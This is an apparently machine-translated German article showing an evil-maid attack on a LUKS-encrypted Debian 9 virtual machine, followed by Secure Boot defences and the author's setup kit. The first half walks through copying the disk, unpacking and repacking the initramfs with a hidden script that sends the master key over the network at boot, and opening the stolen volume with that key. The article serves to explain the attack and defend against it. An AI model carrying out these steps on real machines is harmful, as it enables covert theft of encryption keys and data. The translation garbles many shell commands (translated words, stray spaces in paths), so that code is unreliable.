Die Festplattenverschlüsselung schützt die Daten auf Ihrem Computer vor unbefugtem physischen Zugriff. Es gibt ein weit verbreitetes Missverständnis, dass die Festplattenverschlüsselung diese Aufgabe wirklich bewältigt, und Szenarien, in denen dies nicht so exotisch und unrealistisch erscheint. Dieser Artikel zeigt, dass das Extrahieren des Hauptschlüssels eines verschlüsselten
LUKS- Volumes in der Praxis leicht möglich ist und eine (vor langer Zeit) Schutzmethode vorgeschlagen wird.
Das Wesentliche des Problems
Wir sollten uns auch mit dem Zweck der Festplattenverschlüsselung befassen. In der Tat gibt es keine Probleme, wenn ein physischer Zugriff unmöglich ist und das laufende System die Daten besitzt. Möglicherweise gibt es Probleme mit der Sicherheit des Systems selbst, aber die Festplattenverschlüsselung hilft hier nicht weiter. Die Festplattenverschlüsselung sollte Daten schützen, wenn eine neugierige Partei die Möglichkeit hat, auf Festplatten zuzugreifen, ohne das System zu durchlaufen, z. B. indem sie Festplatten physisch an ihr System anschließt oder ihr Betriebssystem auf einen inspizierten Computer lädt.
Ein physisches Zugriffsszenario ist das einzige Szenario, in dem die Festplattenverschlüsselung sinnvoll ist.Das Problem ist, dass ein Angreifer leise in die Startkette des Betriebssystems eingreifen und das System zwingen kann, Verschlüsselungsschlüssel auszugeben, sobald es diese beim nächsten Start empfängt.
Ein solcher Angriff erfordert nur einen Zugriff auf den Computer: Daten von der Festplatte können zusammen mit dem Ersetzen der Startschaltung kopiert und dann von diesen entschlüsselt werden, bis der Schlüssel angezeigt wird. Im Vergleich zu unverschlüsselten Festplatten besteht die einzige Unannehmlichkeit darin, dass Sie darauf achten müssen, wie der Schlüssel übertragen wird, und auf den Start warten müssen.
Als nächstes demonstrieren wir eine solche Technik in der Praxis. Es kann sich herausstellen, dass der Angreifer für seine Implementierung weniger Aufwand benötigt als der Systembesitzer, der für die Einrichtung einiger seiner exotischen Methoden zum Entsperren von Datenträgern (z. B. remote) aufgewendet wurde.
Praktische Demonstration
Ich werde eine Demo am Beispiel einer virtuellen Maschine mit Debian 9 durchführen, auf der die Festplattenverschlüsselung während der Installation aktiviert wurde.
Durch die Installation von Debian 9 mit Verschlüsselung werden eine Startpartition und eine Partition mit verschlüsseltem LVM erstellt. Screenshot des installierten Systems, das zur Verdeutlichung nach dem Entschlüsselungskennwort fragt:
Alles ist fertig, Sie können fortfahren. Schalten Sie das Auto aus und kopieren Sie die Festplatte. In meinem Fall sieht es so aus:
[root @ dt1 ~] # virsh zerstört debian9-Kabine
Die Debian9-Boothack-Domain wird zerstört
[root @ dt1 ~] # cp -v /var/lib/libvirt/images/debian9-boothack.qcow2 ~
'/var/lib/libvirt/images/debian9-boothack.qcow2' -> '/root/debian9-boothack.qcow2'
Hängen Sie das Laufwerk der Maschine ein und extrahieren Sie das Initramdrive:
[root @ dt1 ~] # mkdir / guest
[root @ dt1 ~] # guestmount -a /var/lib/libvirt/images/debian9-boothack.qcow2 -m / dev / sda1 / guest
[root @ dt1 ~] # cp -v /guest/initrd.img-4.9.0-9-amd64 ~ user / tmp
'/guest/initrd.img-4.9.0-9-amd64' -> '/home/user/tmp/initrd.img-4.9.0-9-amd64'
Initramdrive entpacken:
[user @ dt1 tmp] $ mkdir entpackt
[user @ dt1 tmp] $ cd entpackt /
[user @ dt1 entpackt] $ zcat ../initrd.img-4.9.0-9-amd64 | cpio -idm
[user @ dt1 entpackt] $ ls
bin conf etc init lib lib64 sbin-Skripte ausführen
Fertig, Sie können initramdrive bearbeiten. Da ich weiß, dass der Computer über eine permanente Netzwerkverbindung verfügt, möchte ich das verschlüsselte Senden des Hauptschlüssels nach dem Öffnen der Festplatten organisieren. Dazu brauche ich:
- Dienstprogramm zum verschlüsselten Senden über das Netzwerk . Fügen Sie es zu
/sbin - Shell-Skript zum Extrahieren und Senden von Schlüsseln . Wird an
/scripts/local-top gesendet und nach cryptoroot /scripts/local-top/ORDER cryptoroot . - Das fehlende native udhcpc-Ereignisverarbeitungsskript zum automatischen Optimieren des Netzwerks direkt in ramdrive mithilfe der integrierten Tools. Sein rechtmäßiger Platz befindet sich in
/etc/udhcpc/default.script
Die ausführbare Datei secsend wird statisch erstellt, um Abhängigkeiten von Bibliotheken zu beseitigen. Unter normalen Bedingungen erzeugt die Assembly eine Ausgabedatei mit einer Größe von 2,7 MB, was im Vergleich zur Größe des RAM-Laufwerks deutlich erkennbar ist - 62 Megabyte in entpackter Form und 20 in komprimierter Form. Wenn Sie jedoch alle Bibliotheken und die ausführbare Datei mit minimaler musl libc erstellen, beträgt die Größe der Ausgabedatei nach der UPX-Komprimierung ~ 250 KB und 120 KB. Secsend selbst liest einfach die Standardeingabe, verschlüsselt sie mit Cryptobox aus libsodium unter Verwendung des angegebenen öffentlichen Schlüssels Curve25519 und sendet Daten über TCP an die angegebene Adresse. Die Verwendung ist für den Hauptzweck der Demonstration prinzipienlos. Sie zeigt vielmehr, dass der Angreifer im Wesentlichen unbegrenzt ist: Sie können Code ausführen, der das tut, was der Angreifer will und wie er es will.
Nachdem Sie diese drei Dateien hinzugefügt und eine weitere bearbeitet haben, können Sie alles zurückpacken und die geänderte Datei an ihren Platz zurückgeben:
[user @ dt1 entpackt] $ find. | cpio -o -c | gzip -9> ../initrd.img-4.9.0-9-amd64
125736 Blöcke
[user @ dt1 entpackt] $ sudo cp -v ../initrd.img-4.9.0-9-amd64 / guest
'../initrd.img-4.9.0-9-amd64' -> '/guest/initrd.img-4.9.0-9-amd64'
[user @ dt1 entpackt] $ sudo guestunmount / guest
Es wird einige Server benötigen, um einen verschlüsselten Hauptschlüssel wie
diesen (Python 3.5.3+) zu erhalten. Indem wir es mit dem geheimen Teil des Schlüsselpaars starten, warten wir, bis das bedingte Opfer seinen Computer einschaltet:
Wenn Sie eine virtuelle Maschine mit einer verschlüsselten Festplatte einschalten, sieht alles wie gewohnt aus, nichts hat sich geändert:
Auf der Seite des Verbindungs-Listeners erschien jedoch ein geheimer Hauptschlüssel:
Von diesem Moment an sind die virtuelle Maschine mit Daten und ihr Benutzer mit Kenntnis des Verschlüsselungskennworts für den Angreifer nicht mehr von Interesse. Ich betone, dass das Ändern einer Passphrase nicht den Hauptschlüssel ändert, mit dem das gesamte Volume verschlüsselt wird. Selbst wenn sich eine Änderung der Passphrase zwischen dem Erstellen einer Kopie und dem Senden des Schlüssels irgendwie verschlechtert hat, ist dies kein Hindernis. Wir werden den Hauptschlüssel verwenden, um das Volume zu öffnen. Dazu konvertieren wir den 16-Dezimal-Protokolleintrag in eine Binärdatei:
[root @ dt1 ~] # echo 'fa0c53 *********** 4bd8c' | xxd -r -p> master.key
Mounten Sie die Datenträger mit einer Kopie:
[root @ dt1 ~] # modprobe nbd max_part = 8
[root @ dt1 ~] # qemu-nbd --connect = / dev / nbd0 /root/debian9-boothack.qcow2
[root @ dt1 ~] # ls / dev / nbd0 *
/ dev / nbd0 / dev / nbd0p1 / dev / nbd0p2 / dev / nbd0p5
[root @ dt1 ~] # Datei -s / dev / nbd0p5
/ dev / nbd0p5: LUKS-verschlüsselte Datei, Version 1 [aes, xts-plain64, sha256] UUID: fb732477-ef98-40b5-86a2-8526c349f031
[root @ dt1 ~] # cryptsetup --master-key-file = master.key luksOpen / dev / nbd0p5 crackeddisk
[root @ dt1 ~] # pvs
PV VG Fmt Attr PSize PFree
/ dev / mapper / crackeddisk debian9-Kabine-vg lvm2 a-- 19,75 g 0
/ dev / sda3 dt1 lvm2 a-- <215,01 g 8,00 m
[root @ dt1 ~] # lvs
LV VG Attr LSize Pool Ursprungsdaten% Meta% Move Log Cpy% Sync Convert
Root Debian9-Boothack-VG-Wi-A ----- 18,75 g
Swap_1 Debian9-Boothack-VG-Wi-A ----- 1,00 g
root dt1 -wi-ao ---- 215,00 g
[root @ dt1 ~] # mkdir / hackedroot
[root @ dt1 ~] # mount / dev / mapper / debian9 - Kabine - vg-root / hackedroot /
[root @ dt1 ~] # ls / hackedroot /
bin boot dev etc home initrd.img initrd.img.old lib lib64 verloren + gefundene Medien mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
[root @ dt1 ~] # cat / hackedroot / etc / hostname
debian9-Stand
Die Daten werden abgerufen.
Schutzmaßnahmen
Wie Sie schließen können, ist die Wurzel des Problems der Start von nicht vertrauenswürdigem Code. Hier finden Sie eine kurze Übersicht über die Techniken, die im Zusammenhang mit dieser Ausgabe berücksichtigt werden sollten.
Boot-Partitionsverschlüsselung
Einige Distributionen bieten diese Funktion auch während der Installation an (z. B. OpenSuSE). In diesem Fall wird die Boot-Partition vom Bootloader entschlüsselt, und dann werden der Kernel und das Initramdrive daraus geladen. Dieser Ansatz ist aus folgenden Gründen wenig sinnvoll:
- Das wichtigste Problem beim Code-Spoofing bleibt weiterhin offen. Erst jetzt muss der Bootloader ersetzt werden.
- Für eine Boot-Partition ist die Datenintegrität nicht wichtiger, sondern die Datenintegrität. LUKS Basic Encryption bietet keine solche Garantie. Ein gewisser Vorteil liegt hier nur in der Tatsache, dass es schwierig ist, auf einer solchen verschlüsselten Partition eine sinnvolle Substitution zu bilden.
- Die LUKS2-Verschlüsselung mit Integritätsprüfung (dm-Integrität) schützt auch nicht vor Interferenzen, da sie keine Garantie gegen Angriffe im Zusammenhang mit der Sektorwiedergabe bietet. Wenn Sie beispielsweise einen Speicherauszug einer solchen Partition und eine Bootloader-Konfiguration haben, können Sie den Kernel weiterhin auf den zuvor kopierten Status zurücksetzen. Dies bietet keine besonderen Vorteile in Bezug auf die Schlüsselextraktion (außer wenn der alte Kernel anfällig war und auf irgendeine Weise verwendet werden kann), sondern ist eher ein Argument für die Nutzlosigkeit der Verschlüsselung der Startpartition.
Verwenden von TPM zum Speichern eines Verschlüsselungsschlüssels und Überprüfen einer sicheren Startumgebung
TPM ist im Wesentlichen ein Kryptoprozessor, der als sichere Enklave oder Smartcard im System fungiert. Mit ihm verschlüsselte geheime Daten können nur mit ihm und nur unter seinen Bedingungen entschlüsselt werden - wenn die
PCR- Werte des Systems konvergieren, die vom Status der Plattform und dem darin ausgeführten Code abhängen. Die Technologie ist vielversprechend und ermöglicht es Ihnen, eine sichere Verschlüsselung im System zu implementieren, ohne dass ein Schlüssel erforderlich ist (z. B. durch Anmelden mit einem Fingerabdruck oder Authentifizierungsmethoden, die nicht mit der Verschlüsselung zusammenhängen). Idealerweise sollte es in Verbindung mit dem UEFI Secure Boot funktionieren und die Entschlüsselung verhindern, wenn die Konfiguration nicht konvergiert.
Unter Linux steckt die TPM-Unterstützung jedoch noch in den Kinderschuhen. Der TrustedGRUB2-Bootloader (ein Bootloader, der für die Arbeit mit TPM angepasst ist) unterstützt UEFI nicht, und der ganze Sinn der Idee verschwindet hiervon. Darüber hinaus wird das Vorhandensein eines funktionierenden TPM 2.0 erst jetzt in der Hardware angezeigt, häufig zusammen mit BIOS-Updates. Die meisten Motherboards verfügen nicht über ein diskretes TPM-Modul. Stattdessen ist TPM eine in Intel
ME implementierte Software. Aus all diesen Gründen halte ich eine solche Konfiguration noch nicht für funktionsfähig und für eine weit verbreitete Verwendung geeignet.
Verwenden von UEFI Secure Boot, um die Bootkette vollständig mit einer elektronischen Signatur abzudecken
Es gibt Distributionen (Fedora, OpenSuSE) und Einzellösungen, mit denen Sie Secure Boot unter Linux verwenden können. Boxed-Lösungen bieten jedoch häufig keine Code-Integrität in der Lastkette. Sie sollen in erster Linie sicherstellen, dass Linux einfach gestartet wird, wenn Secure Boot aktiviert ist. Normalerweise wird nur EFI-Shim verwendet, der von einem Microsoft-Zertifikat signiert ist und dann alles ausführt. Dementsprechend ist es bei Verwendung einer externen Zertifizierung einfach unmöglich, die Signatur eines Festplattenlaufwerks abzudecken, das direkt im installierten System generiert wird.
Es gibt Artikel auf dem Hub, die vorschlagen, Ihre eigene
PKI zum Signieren von Code zu verwenden. Auf diese Weise können Sie alles, was Sie benötigen, selbst signieren und somit die gesamte UEFI-Kette → Bootloader → Kernel und Intramdrive abdecken.
- UEFI SecureBoot zähmen - der erste Artikel über den Hub zu diesem Thema, sehr detailliert.
- Wir verwenden Secure Boot in Linux in vollem Umfang - hier wird besonders gut geschrieben, warum Secure Boot mit installierten Microsoft-Zertifikaten seiner Abwesenheit entspricht.
Das gewünschte Ergebnis erhalten Sie im zweiten Artikel. Eine Intramdrive-Signatur wird erreicht, indem der Ramdrive und der Kernel ohne Verwendung eines Loaders in einer EFI-Anwendung zusammengeführt werden. UEFI überprüft die Signatur direkt in großen Mengen. Beide Handbücher erfordern viel manuelle Arbeit an jedem geschützten System.
Erschwingliche Lösung
Ich habe einen
Ansatz für die vollständige Implementierung von Secure Boot entwickelt, der mit dem allgemein akzeptierten Boot-Schema kompatibel ist und keine ernsthaften Eingriffe in das System erfordert: einen separaten Bootloader, einen separaten Ramdrive, einen separaten Kernel. UEFI überprüft nur die Signatur des GRUB2-Bootloaders. Der Bootloader verfügt über eine Kabelkonfiguration mit dem Schlüssel zum Überprüfen der Signatur und des Administratorkennworts und überprüft dann den Kernel und das RAM-Laufwerk. Der signierte Bootloader wird parallel zum alten installiert. Falls erforderlich, kann der Start durch Deaktivieren von Secure Boot auf die übliche Weise fortgesetzt werden. Natürlich sollte diese Funktion durch das Administratorkennwort im UEFI-Einstellungsmenü geschlossen werden.
Ich habe beschlossen, den Secure Boot-Bereitstellungsprozess mit meiner eigenen PKI zu automatisieren und ihn so einfach und verteilungsunabhängig wie möglich zu gestalten. Das Ergebnis ist ein solcher Satz aus dem Makefile-Rezept und den Dienstprogrammen:
https://github.com/Snawoot/linux-secureboot-kit . Für Debian, Ubuntu, Fedora und Centos erfordert der gesamte Prozess nur wenige Befehle.
Im Beispiel von Debian 9 sieht die Installation ungefähr so aus (vorausgesetzt, UEFI befindet sich bereits im Setup-Modus):
apt update && apt install -y unzip make sbsigntool wget https://gist.github.com/Snawoot/1937d5bc76d7b0a29f2039aa679c0449/raw/74a63c99be07ec93cfc1df47d2e98e54920c97b7/efitools-1.9.2-static.tar.xz && \ tar xpJf efitools-1.9.2-static.tar.xz -C / wget https://github.com/Snawoot/linux-secureboot-kit/archive/master.zip unzip master.zip cd linux-secureboot-kit-master/ make debian9-install
Hier werden alle Befehle im Auftrag des Superusers eingegeben. Daher muss nur überprüft werden, ob Secure Boot im BIOS-Menü aktiviert ist, und die BIOS-Einstellungen mit einem Administratorkennwort geschützt werden.
Und hier ist der Versuch, den Ramdrive bei einer solchen Installation zu ersetzen:
Bootloader-Ersatz (das Erscheinungsbild hängt von der Plattform ab):
Zusammenfassung
Die Festplattenverschlüsselung allein reicht nicht aus, um den Datenschutz zu gewährleisten. Durch das Signieren der gesamten Startkette mit UEFI Secure Boot und GPG können Sie ein gutes Maß an Schutz gegen Spoofing von ausführbarem Code erreichen, vorausgesetzt, der Computerbetreiber kann ein Zurücksetzen oder Parodieren der Systemplatine oder sogar des gesamten Computers erkennen. Andernfalls ist es äußerst schwierig, angemessene Schutzmethoden anzubieten, wenn der Benutzer bereit ist, das Kennwort einzugeben / den Schlüssel an einen Computer zu übertragen, der versehentlich auf dem Tisch oder im Serverraum landet.